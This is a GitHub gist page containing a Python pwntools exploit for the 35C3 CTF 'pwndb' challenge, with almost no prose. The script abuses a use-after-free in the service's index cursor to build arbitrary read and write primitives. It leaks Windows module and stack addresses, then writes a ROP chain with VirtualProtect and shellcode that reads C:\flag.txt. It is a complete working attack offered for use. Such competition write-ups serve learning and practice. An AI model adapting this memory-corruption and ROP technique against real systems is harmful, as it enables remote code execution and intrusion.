Created
December 30, 2018 22:38
-
-
Save wmliang/36b3e6a8d59875cc9f2b20a952bb8890 to your computer and use it in GitHub Desktop.
35c3ctf pwndb exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
#-*- coding: utf-8 -*- | |
from pwn import * | |
import re | |
import sys | |
import string | |
import itertools | |
# UAF in IndexCursor | |
# 35C3_third_times_the_goddamn_charm | |
esc = lambda s: s.replace('\\','\\\\').replace('"', '\\"').replace('\n', '\\n') | |
unesc = lambda s: s.decode('string_escape') | |
def get_string(n): | |
i = 0 | |
s = [] | |
for c in itertools.product(string.lowercase, repeat=2): | |
i = i + 1 | |
if i > n: | |
return s | |
s.append(''.join(c)) | |
context.arch = 'amd64' | |
if len(sys.argv) > 1: | |
r = remote('145.239.149.235', 1337) | |
else: | |
r = remote('10.1.125.234', 1337) | |
r.sendline('create table ta(va);') | |
r.sendline('insert into ta(va) values ("11")'+',("22")'*60+',("33")'*2+';') # 0x5e8 + 0x9d8 | |
r.sendline('select * from ta where va="11";') | |
r.sendline('insert into ta(va) values ("44");') # 0x8d0 + 0xeb0 | |
# control row_index | |
N = 0x800 | |
r.sendline('select * from ta where va="33";') | |
r.sendline('update cursor 1 set va="'+p64(1)*(N/8)+'";') | |
r.sendline('get cursor 0;') | |
buf = r.recvlines(7)[-1].strip() | |
assert '22' in buf, 'fail to control row_index' | |
r.sendline('select * from ta where va="44";') | |
r.sendline('update cursor 2 set va="'+p64(0)*(N/8)+'";') | |
r.sendline('get cursor 0;') | |
buf = r.recvlines(3)[-1].strip() | |
assert '22' in buf, 'fail to control row_index' | |
r.sendline('update cursor 1 set va="'+p64(0)*(N/8)+'";') | |
r.sendline('get cursor 0;') | |
buf = r.recvlines(2)[-1].strip() | |
assert '11' in buf, 'fail to control row_index' | |
print 'OK1' | |
# fake vector | |
r.sendline('create table tx(v'+',v'.join(get_string(125))+');') | |
r.sendline('insert into tx(vaa,vab,vac) values ("55","55","55");') | |
r.sendline('insert into tx(vaa,vab,vac) values ("56","56","56");') | |
r.sendline('select * from tx;') | |
fake_string = 'ddaa'*4+p64(4)+p64(0xf) | |
r.sendline('update cursor 3 set vaa="'+fake_string+'";') | |
r.sendline('update cursor 1 set va="'+p64(0x4cc)*(N/8)+'";') # row_index | |
r.sendline('get cursor 0;') | |
buf = r.recvrepeat(timeout=0.5) | |
assert 'ddaa' in buf, 'fail on fake vector' | |
print 'OK2' | |
r.sendline('update cursor 0 set va="'+'C:\\flag.txt\x00'+'A'*0x10+'";') | |
r.sendline('get cursor 3;') | |
leak = r.recvlines(2)[-1] | |
leak = re.search(r'ok "(.*)ddaaddaa', leak).group(1) | |
ptr = u64(unesc(leak)) | |
print 'leaked pointer', hex(ptr) | |
def read(addr, n=8, wait=False): | |
fake_string = p64(addr)+p64(0)+p64(n)+p64(0xffffffff) | |
r.sendline('update cursor 3 set vaa="'+fake_string+'";') | |
r.sendline('get cursor 0;') | |
if wait: | |
leak = r.recvrepeat(timeout=0.5).split('\n')[-2].strip() | |
else: | |
leak = r.recvlines(2)[-1] | |
leak = leak.strip()[4:-2] | |
return unesc(leak) | |
def write(addr, data): | |
fake_string = p64(addr)+p64(0)+p64(len(data))+p64(0xffffffff) | |
r.sendline('update cursor 3 set vaa="'+fake_string+'";') | |
r.sendline('update cursor 0 set va="'+esc(data)+'";') | |
heap = ptr&~0xFFFF | |
for i in range(10): | |
if read(heap+0x10, 4) == '\xee\xff\xee\xff': | |
break | |
heap -= 0x10000 | |
else: | |
print 'heap not found' | |
quit() | |
print 'heap @', hex(heap) | |
ntdll = u64(read(heap+0x2c0))-0x163cb0 | |
print 'ntdll @', hex(ntdll) | |
peb = u64(read(ntdll+0x1652e8))-0x240 | |
print 'peb @', hex(peb) | |
pwndb = u64(read(peb+0x10)) | |
print 'pwndb @', hex(pwndb) | |
kernel32 = u64(read(pwndb+0x3e000))-0x21890 | |
print 'kernel32 @', hex(kernel32) | |
kernelbase = u64(read(kernel32+0x78160))-0x27e90 | |
print 'kernelbase @', hex(kernelbase) | |
uef = u64(read(kernelbase+0x25be78)) | |
stack = u64(read(uef+0x88))-1 | |
print 'stack @', hex(stack) | |
ret = u64(read(stack+0x180)) | |
print hex(ret) | |
assert ret&0xFF==0xf4, 'fail on return address' | |
print 'OK3' | |
g1 = ntdll+0x8fb10 # pop rcx ; pop r8 ; pop r9 ; pop r10 ; pop r11 ; ret | |
g2 = ntdll+0x8fb16 # pop rdx ; pop r11 ; ret | |
vp = kernel32+0x1b0b0 | |
sleep = kernel32+0x1b090 | |
createfile = kernel32+0x21d20 | |
readfile = kernel32+0x220b0 | |
writefile = kernel32+0x221a0 | |
getstdhandle = kernel32+0x1c2c0 | |
d = flat(g1, stack&~0xFFF, 0x40, ptr, 0, 0) | |
d += flat(g2, 0x1000, 0) | |
d += flat(vp, g1,0,0,0,0,0, stack-8) | |
sc = asm(''' | |
nop | |
nop | |
sub rsp, 0x800 | |
jmp flag | |
start: | |
pop r11 | |
createfile: | |
mov qword ptr [rsp+0x30], 0 | |
mov qword ptr [rsp+0x28], 0 | |
mov qword ptr [rsp+0x20], 3 | |
mov rcx, r11 | |
mov rdx, 0x80000000 | |
mov r8, 1 | |
xor r9, r9 | |
mov r10, {} | |
call r10 | |
readfile: | |
mov qword ptr [rsp+0x20], 0 | |
xor r9, r9 | |
mov r8, 0x80 | |
mov rdx, {} | |
mov rcx, rax | |
mov r10, {} | |
call r10 | |
getstdhandle: | |
mov rcx, 0xFFFFFFF6 | |
mov r10, {} | |
call r10 | |
writefile: | |
mov qword ptr [rsp+0x20], 0 | |
xor r9, r9 | |
mov r8, 0x80 | |
mov rdx, {} | |
mov rcx, rax | |
mov r10, {} | |
call r10 | |
hang: | |
jmp hang | |
flag: | |
call start | |
'''.format(createfile, ptr, readfile, getstdhandle, ptr, writefile))+'C:\\flag.txt\x00' | |
d += sc | |
write(stack-0x90, d) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment